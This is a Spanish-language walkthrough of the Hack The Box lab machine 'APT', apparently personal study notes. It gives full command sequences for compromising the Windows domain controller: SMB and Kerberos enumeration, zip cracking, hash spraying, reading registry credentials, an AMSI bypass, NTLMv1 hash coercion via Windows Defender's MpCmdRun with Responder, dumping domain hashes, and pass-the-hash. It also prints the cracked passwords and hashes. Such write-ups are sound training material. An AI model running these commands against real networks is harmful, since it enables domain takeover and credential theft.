# APT
## Reconocimiento
### nmap
~~~
nmap -p- -sS --min-rate 5000 -vvv -n -Pn 10.10.10.213 -oG allPorts
~~~

~~~
nmap -sCV -p80,135 10.10.10.213 -oN targeted
~~~

### Web - Puerto 80
~~~
whatweb 10.10.10.213
~~~

El nombre de la web es **Gigantic Hosting**
### RPC - Puerto 135

* TCP 135 es el administrador de control de servicios del asignador de puntos finales y el modelo de objetos componentes (COM). Hay una herramienta llamada `rpcmap.py` de Impacket que mostrará estas asignaciones y el script `IOXIDResolver.py` que reporta la IPv6.
~~~
python3 IOXIDResolver.py -t 10.10.10.21
~~~

```
Address: dead:beef::10e
Address: dead:beef::b885:d62a:d679:573f
Address: dead:beef::5cc4:5823:d6a0:8443
```
Obs:
* rpcclient intenta conectarse a TCP 445 o TCP 139, por lo que no hace mucho aquí.
~~~
ping6 dead:beef::b885:d62a:d679:573f
~~~

## Reconocimiento - IPv6
### nmap
~~~
nmap -sS --min-rate 5000 -open -vvv -n -Pn -p- -6 dead:beef::b885:d62a:d679:573f -oG allPortsIPv6
~~~

~~~
nmap -sCV -p53,80,88,135,389,445,464,636,3268,3269,5985,9389,47001,49664,49665,49666,49667,49669,49670,49675,49695,52135 -6 dead:beef::b885:d62a:d679:573f -oN targetedIPv6
~~~


### smb - Puerto 445
#### Crackmapexec
~~~
crackmapexec smb dead:beef::b885:d62a:d679:573f
~~~

```
domain:htb.local
name:APT
```
Se está tratando con una máquina Windows Server 2016
Se incorpora la IPv6 en el `/etc/hosts`:
```
┌─[root@cr4y0-PC]─[/home/cr4y0/DesktopHackTheBox/APT]
└──╼ #echo "dead:beef::b885:d62a:d679:573f apt htb.local" >> /etc/hosts
```
#### Socat
En caso exista problemas con alguna herramienta con el formato IPv6 se puede hacer uso de la herramienta SOCAT y hacer un escaneo al localhost.
CrackMapExec con SOCAT:
Nos ponemos en escucha por el puerto `445` para redirigir la conexión entrante hacia `apt:445`
~~~
socat TCP-LISTEN:445,fork TCP:apt:445
~~~

~~~
crackmapexec smb 127.0.0.1
~~~

~~~
smbclient -L dead:beef::b885:d62a:d679:573f -N
~~~

~~~
smbmap -H 127.0.0.1
~~~

~~~
smbmap -H 127.0.0.1 -R
~~~

### smbclient - Puerto 445
~~~
smbclient //apt/backup -N
fcrackzip -b -D -u -p /usr/share/wordlists/rockyou.txt backup.zip
~~~


`iloveyousomuch`

~~~
python3 /opt/impacket/examples/secretsdump.py -ntds Active\ Directory/ntds.dit -system registry/SYSTEM LOCAL
~~~
Se encuentra el backup `ntds.dit` y `SYSTEM`, entonces con la herramienta `secretsdump.py` se pueden dumpear los hashes del equipo:

De aqui se puede ver que el `lmhash` es estático y el `nthash` es dinámico.
Mayor informacion:
https://book.hacktricks.xyz/windows/stealing-credentials#extracting-hashes-from-ntds.dit
# ¿Podemos dumpear el ntds.dit dentro del equipo Windows?
# ¿Cómo usar Lazagne?
### Kerberos - Puerto 88
#### kerbrute
La herramienta `Kerbrute` permite realizar una enumeración de usuarios válidos en base a una lista de usuarios:
~~~
./kerbrute userenum --dc apt -d htb.local -t 40 /home/cr4y0/Desktop/HackTheBox/APT/users
~~~

#### crackmapexec
Una vez se identifica al usuario válido se puede intentar validar las credenciales(usuario y hash):
~~~
crackmapexec smb apt -u 'henry.vinson' -H '2de80758521541d19cabba480b260e8f'
~~~

En este punto se cuenta con usuario válido y un listado de hashes. Si se quiere realizar HashSpraying necesitamos de CrackMapExec que funciona por SMB o usar alguna variante de pyKerbrute que funciona por Kerberos.
~~~
crackmapexec smb apt -u 'henry.vinson' -H ../hash
~~~

Pero el servicio `smb` bloquea el hashspraying.
#### pyKerbrute
pyKerbrute ofrece la enumeración de usuarios y userspraying en baase a un hash y contraseña.
Despues de modificar uno de los archivos que nos entrega pyKerbrute con la finalidad de hacer fuerza bruta en los hashes:
~~~
python2 ADHashSpray.py
~~~

`henry.vinson:e53d87d42adaa3ca32bdb34a876cbffb`
Código del script:
~~~
~~~
Validando credenciales encontradas:
~~~
crackmapexec smb dead:beef::b885:d62a:d679:573f -u 'henry.vinson' -H 'e53d87d42adaa3ca32bdb34a876cbffb'
~~~

# ¿Ver si se puede hacer ASRPROAST o KERBEROASTING con las credenciales encontradas?
### Leyendo Registros - Puerto 139 y 445
#### Linux - reg.py
Herramienta de manipulación remota del registro a través de la interfaz [MS-RRP] MSRPC. La idea es proporcionar una funcionalidad similar a la de la utilidad de Windows REG.EXE.
Registry Hives:

Mayor información sobre los registros:
http://www.herongyang.com/Windows/Registry-Hives-HKCR-HKCU-HKLM-HKU-HKCC-HCPD.html
~~~
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCR
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKCU
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU
~~~


~~~
python3 /opt/impacket/examples/reg.py -hashes :e53d87d42adaa3ca32bdb34a876cbffb htb.local/henry.vinson@apt query -keyName HKU\\Software\\GiganticHostingManagementSystem
~~~

`henry.vinson_adm:G1#Ny5@2dvht`
Obs:
También podemos usar el parametro `-s` para dumpear cada uno de los registros.
#### Windows - mimikatz
# ¿Como obtener los registros desde windows?
## Acceso
### winrm - Puerto 5985
Se obtiene acceso al sistema mediante la herramienta `evil-winrm` :
~~~
evil-winrm -i apt -u 'henry.vinson_adm' -p 'G1#Ny5@2dvht'
~~~

Nos dirigimos al directorio `AppData\Local\Temp` en donde se suele tener capacidad de escritura:
~~~
./winPEASx64.exe
~~~
Al ejecutar el winPEASx64.exe nos muestran un mensaje en donde no podemos ejecutar el binario:

### Bypass - 4msi
Para ello se usará el menu de evil-winrm para realizar el bypass al amsi e intentar cargar el binario en memoria.
ByPass-4msi:
~~~
menu
Bypass-4MSI
Invoke-Binary /home/cr4y0/Desktop/HackTheBox/APT/winPEASx64.exe
~~~

En los resultados se puede ver el historial PowerShell del usuario `henry.vinson_adm`:

`C:\Users\henry.vinson_adm\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt`

También se ve que el sistema soporta hashes NTLMv1

Otro binario a tener en cuenta es `Seatbelt.exe` para la realizar un reconocimiento del sistema:
~~~
Invoke-Binary /home/cr4y0/Desktop/HackTheBox/APT/Seatbelt.exe -group=all
~~~

### Hash NTLMv1
NTLM es un protocolo de desafío respuesta, y en particular NTLMv1 usa una criptografía débil
Hay servicio como `crack.sh` que se puede usar para averiguar la key.
#### responder
Se usa responder para envenenar el tráfico y con el parámetro `--lm` forzar a obtener los hashes NTLMv1.
La página `crack.sh` solo contempla desafíos `1122334455667788` por esta razón se modifica la configuración del Responder para obtener este Challenge.

```
python3 Responder.py -I tun0 --lm
```
Ahora se debe buscar alguna forma de obtener el hash NTLMv1, para ello recordar el `Windows Defender` está activo en la máquina y tiene un ejecutable `MpCmdRun.exe` el cual tiene la opción de realizar un escaneo a un archivo o directorio en donde se puede indicar un recurso compartido y obtener el hash.
```
.\MpCmdRun.exe -Scan -ScanType 3 -File \\10.10.14.2\CualquierCosa
```
El hash se puede encontrar en `/usr/share/responder/logs`.
## Obteniendo privileios
El hash que se obtiene es el de la cuenta de máquina, es decir, si se logra romper se puede usar la herramienta `secretsdump.py` y visualizar todos los hashes del directorio activo.
Para crackear el hash en `crack.sh` se debe pasar a un formato especial para lo cual se usará la herramienta `ntlmv1.py`:
```
python3 ntlmv1.py --ntlmv1 'APT$::HTB:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384:1122334455667788'
```

`NTHASH:95ACA8C7248774CB427E1AE5B8D5CE6830A49B5BB858D384`
Y se usa el Token que entrega el script en `crack.sh`:

Y recibimos el hash:


`Key: d167c3238864b12f5f82feae86a7f798`
### Dump ntds.dit
~~~
python3 /opt/impacket/examples/secretsdump.py -hashes :d167c3238864b12f5f82feae86a7f798 'htb.local/APT$@apt'
~~~

`Administrator:500:aad3b435b51404eeaad3b435b51404ee:c370bddf384a691d811ff3495e8a72e2:::`
### Pass The Hash
```
evil-winrm -i apt -u Administrator -H c370bddf384a691d811ff3495e8a72e2
```

# Dumpear los hashes del directorio activo internamente